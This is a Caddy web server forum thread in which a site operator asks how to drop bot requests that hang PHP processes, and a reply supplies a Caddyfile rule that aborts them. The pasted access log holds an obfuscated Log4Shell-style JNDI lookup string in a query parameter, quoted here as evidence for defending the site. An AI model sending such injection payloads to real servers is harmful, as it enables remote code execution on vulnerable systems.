How to drop hacking URLs?

1. The problem I’m having:

We are being spammed by bots looking for vulnerabilities, but unfortunately this is creating PHP processes that remain in a “Getting Connection Information” state and hang. This then rapidly fills the available PHP processes and the whole lot just stops responding to web requests because none of the processes ever complete.

We can see that the main identifier is that a URL is hit with a massive URL parameter starting with something like ?cx=$7B

Is there a method to just have Caddy drop anything that looks like that?

2. Error messages and/or full log output:

{"level":"info","ts":1687268912.911088,"logger":"http.log.access.log5","msg":"handled request","request":{"remote_ip":"","remote_port":"25734","proto":"HTTP/1.1","method":"GET","host":"","uri":"/discover/food-drink?cx=$%7B$%7B:-j%7D$%7B:-n%7D$%7B:-d%7D$%7B:-i%7D:$%7B:-l%7D$%7B:-d%7D$%7B:-a%7D$%7B:-p%7D://","headers":{"User-Agent":["python-requests/2.31.0"],"Accept-Encoding":["gzip, deflate"],"Accept":["*/*"],"Connection":["keep-alive"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"http/1.1","server_name":""}},"user_id":"","duration":2.103405375,"size":10138,"status":200,"resp_headers":{"Set-Cookie":[],"Pragma":["no-cache"],"X-Robots-Tag":["all"],"Server":["Caddy"],"Alt-Svc":["h3=\":443\"; ma=2592000"],"Expires":["Thu, 19 Nov 1981 08:52:00 GMT"],"Cache-Control":["no-store, no-cache, must-revalidate"],"Content-Type":["text/html; charset=UTF-8"],"Referrer-Policy":["no-referrer-when-downgrade"],"Content-Encoding":["gzip"],"Vary":["Accept-Encoding"],"Link":["<>; rel='canonical'"],"X-Powered-By":["Craft CMS"]}}

3. Caddy version:

v2.6.4 h1:2hwYqiRwk1tf3VruhMpLcYTg+11fCdr8S3jhNAdnPy8=

4. How I installed and ran Caddy:


a. System environment:

Ubuntu 22.04 LTS

b. Command:


c. Service/unit/compose file:


d. My complete Caddy config:,,, {
        root * /websites/redacted/web
        encode gzip zstd

        log {
                output file /websites/_logs/redacted.log

        php_fastcgi unix//run/php/php8.1-fpm.sock


5. Links to relevant resources:

If ?cx=... is the marker, then I would just do:

@bad query cx=*
abort @bad

You could also customize timeouts: Global options (Caddyfile) — Caddy Documentation

There’s already an idle timeout, so if the connections aren’t being dropped then they’re not actually hanging, they’re just draining or dripping slowly. You can enable some of the other timeouts there to see if that helps.

1 Like

Thanks Matt, trying that now.

1 Like

This topic was automatically closed 30 days after the last reply. New replies are no longer allowed.